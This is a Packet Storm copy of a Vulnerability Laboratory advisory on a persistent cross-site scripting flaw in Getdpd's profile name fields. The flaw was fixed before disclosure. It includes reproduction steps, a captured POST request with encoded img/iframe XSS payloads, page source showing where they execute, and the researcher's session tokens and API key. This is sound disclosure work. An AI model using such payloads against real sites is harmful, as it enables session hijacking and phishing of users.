Getdpd Cross Site Scripting

2016-02-07T00:00:00
ID PACKETSTORM:135640
Type packetstorm
Reporter Hadji Samir
Modified 2016-02-07T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Getdpd BB #3 - Persistent Cross Site Scripting Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1567  
  
ID: #14771  
  
  
Release Date:  
=============  
2016-02-03  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1567  
  
  
Common Vulnerability Scoring System:  
====================================  
3.8  
  
  
Product & Service Introduction:  
===============================  
DPD is an all-in-one shopping cart and digital fulfillment service for downloadable products. Serving thousands of stores, DPD processes and   
delivers millions worth of downloads each year.  
  
(Copy of the Vendor Homepage: https://getdpd.com/security )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research team discovered an application-side input validation web vulnerability in the official Getpdp online service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-08-09: Researcher Notification & Coordination (Hadji Samir)  
2015-08-10: Vendor Notification (Getdpd Security Team - Bug Bounty Program)  
2015-09-02: Vendor Response/Feedback (Getdpd Security Team - Bug Bounty Program)  
2016-01-07: Vendor Fix/Patch (Getdpd Developer Team)  
2016-02-03: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
DPD - Digital Product Delivery  
Product: DPD Online Service (Web-Application) 2015 Q3  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
An application-side cross site scripting web vulnerability has been discovered in the official Getdpd online service web-application.  
The security vulnerability allows remote attackers to inject own script code to the application-side of the affected application module.  
  
The vulnerability is located in the input value id first name and last name of the profie . Remote attackers with low privilege   
web-application user accounts are able to inject own malicious script code via POST method request. The injection point is the vulnerable   
id parameter with the title input and the execution point is located in https://getdpd.com/programsignup/21987 module. The request method   
to inject is POST and the vulnerability is located to the application-side of the vulnerable service.  
  
The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.   
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction.   
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source   
and persistent manipulation of affected or connected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Service(s):  
[+] getdpd.com  
  
Vulnerable Module(s):  
[+] Program Terms Sign  
  
Vulnerable Parameter(s):  
[+] Firstname  
[+] Lastname  
  
  
Proof of Concept (PoC):  
=======================  
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low or medium user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Create account with the payload name (code injection)  
2. Click to Program Manager   
3. Open the link (Affiliate Program Signup URL) https://getdpd.com/programsignup/21987  
4. The payload code will execute   
  
  
  
  
--- PoC Session Logs [POST] ---  
12:20:01.685[1226ms][total 3365ms]   
Status: 200[OK]  
POST https://getdpd.com/user/update   
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[7104] Mime Type[text/html]  
Request Headers:  
Host[getdpd.com]  
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate]  
Referer[https://getdpd.com/user/profile]  
Cookie[_src=https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1; _ga=GA1.2.163063198.1438880403; __zlcmid=W5erEG66rmgkKt; referrer=javascript:alert(1); view-cart-button=https%3A%2F%2Fgetdpd.com%2Fimages%2Fbuy_buttons%2Fvc%2Fsolid1%2Fdpd_viewcart_2.png; symfony=4fk57k07c4c3blm6piak6rrk01; _csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; _gat=1]  
X-Forwarded-For[8.8.8.8]  
Connection[keep-alive]  
Post Data:  
_csrf_token[5dd0e8de2f12cbf4cfdddb7af46239126a7861de]  
first_name[%22%3E%3Cimg+src%3D%22c%22+onerror%3Dalert%28document.domain%29%3E]  
last_name[%22%3E%3Ciframe+src%3D%22c%22+onload%3Dalert%28document.domain%29%3E]  
username[s-dz%40hotmail.fr]  
password[]  
password_retype[]  
timezone[America%2FNew_York]  
email[s-dz%40hotmail.fr]  
sale_notify[1]  
weekly_sales_report[1]  
sd_notify[1]  
phone_number[%26amp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bquot%3B%26amp%3Bamp%3Ba]  
paypal_business[s-dz%40hotmail.fr]  
dpd_api_key[4a02b99276]  
Response Headers:  
Date[Mon, 10 Aug 2015 11:23:27 GMT]  
Server[Apache]  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]  
Pragma[no-cache]  
P3p[CP="NOI CURa OUR NOR UNI"]  
X-Xss-Protection[1; mode=block]  
X-Frame-Options[SAMEORIGIN]  
Set-Cookie[_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; path=/; secure  
_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; path=/; secure]  
Vary[Accept-Encoding,User-Agent]  
Content-Encoding[gzip]  
Content-Length[7104]  
Connection[close]  
Content-Type[text/html; charset=utf-8]  
  
  
  
PoC: Source  
<h2>Affiliate Program Signup</h2>  
<p>"><img src="c" onerror=alert("tested")> "><iframe src="x" onload=alert("xss_by_samir")> uses DPD to track affiliate sales and   
automatically deliver the product to paying customers. Signing up for an affiliate program is free.</p>  
<iframe src="./Dashboard DPD Shopping Cart_files/affiliateTos.html"></iframe>  
<div class="pillbox" style="margin: 20px 0 0 240px">  
<a onclick="showHide(1, this)" class="active">I have an account</a>  
<a onclick="showHide(0, this)">I need an account</a>  
</div>  
<br style="clear:both">  
<form id="affiliate_login" class="tool-input" method="post" action="https://getdpd.com/user/programlogin">  
<input name="_csrf_token" value="62b44bf209ed1f030dce7ca63546b9addee2a799" type="hidden"><!--8TH9onQR2fvZg47iAVc--> <fieldset>  
<legend>Sign up for this Program</legend>  
<p>Login to your DPD account to add this product to your affiliate manager and begin promoting it as an affiliate.</p>  
<input name="vendor_id" id="vendor_id" value="21987" type="hidden">  
<label for="username">Username<abbr>*</abbr><span class="small">your account username</span></label>  
<input name="username" id="username" value="" class="user" type="text">  
<label for="password">Password<abbr>*</abbr><span class="small">your account password</span></label>  
<input name="password" id="password" value="" class="lock" type="password">  
<label>Terms</label>  
<div class="listcontainer">  
<input name="confirm_product_terms" id="confirm_product_terms" value="1" class="noimg" type="checkbox">   
<label for="confirm_product_terms">Yes, I agree to these program terms.</label>  
</div>  
</fieldset>  
<div class="buttons" style="margin-right: 20px"><button type="submit" class="tick positive">Sign In</button></div>  
</form>  
<form id="affiliate_signup" class="tool-input" style="display:none" method="post" action="https://getdpd.com/user/programsignup">  
<input name="_csrf_token" value="62b44bf209ed1f030dce7ca63546b9addee2a799" type="hidden"><!--8TH9onQR2fvZg47iAVc--> <fieldset>  
<legend>Sign up for this Program</legend>  
<input name="vendor_id" id="vendor_id" value="21987" type="hidden"> <input name="create" id="create" value="1" type="hidden">  
<p>Create your free DPD account to add this product to your affiliate manager and begin promoting it as an affiliate.</p>  
  
<label for="first_name">First Name<abbr>*</abbr></label>  
<input name="first_name" id="first_name" value="" class="user" type="text">  
<label for="last_name">Last Name<abbr>*</abbr></label>  
<input name="last_name" id="last_name" value="" class="user" type="text">  
<label for="email">Email<abbr>*</abbr><span class="small">your email address</span></label>  
<input name="email" id="email" value="" class="email" type="text">  
<label for="username">Username<abbr>*</abbr><span class="small">your account username</span></label>  
<input name="username" id="username" value="" class="user" type="text">  
<label for="password">Password<abbr>*</abbr><span class="small">your account password</span></label>  
<input name="password" id="password" value="" class="lock" type="password">  
<label for="password_retype">Retype Password<abbr>*</abbr><span class="small">your account password</span></label>  
<input name="password_retype" id="password_retype" value="" class="lock" type="password">  
<label>Terms</label>  
<div class="listcontainer">  
<input name="confirm_product_terms" id="confirm_product_terms" value="1" class="noimg" type="checkbox">   
<label for="confirm_product_terms">Yes, I agree to these program terms.</label>  
</div>  
</fieldset>  
<div class="buttons" style="margin-right: 20px"><button type="submit" class="tick positive">Create Account</button></div>  
</form>  
</div>  
  
  
Reference(s):  
https://getdpd.com/  
https://getdpd.com/user/update  
https://getdpd.com/user/profile  
=https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname and lastname input fields. Restrict the input and disallow usage of special chars.  
Filter and setup a secure exception handling that prevents the persistent execution in the output location.  
  
  
Security Risk:  
==============  
The security risk of application-side input validation web vulnerability in the frontend of the getdpd web-application is estimated as medium. (CVSS 3.8)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com] [www.vulnerability-lab.com] [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either   
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers   
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even   
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation   
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break   
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com  
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.  
  
Copyright © 2016 | Vulnerability Laboratory [Evolution Security]  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
CONTACT: research@vulnerability-lab.com  
  
`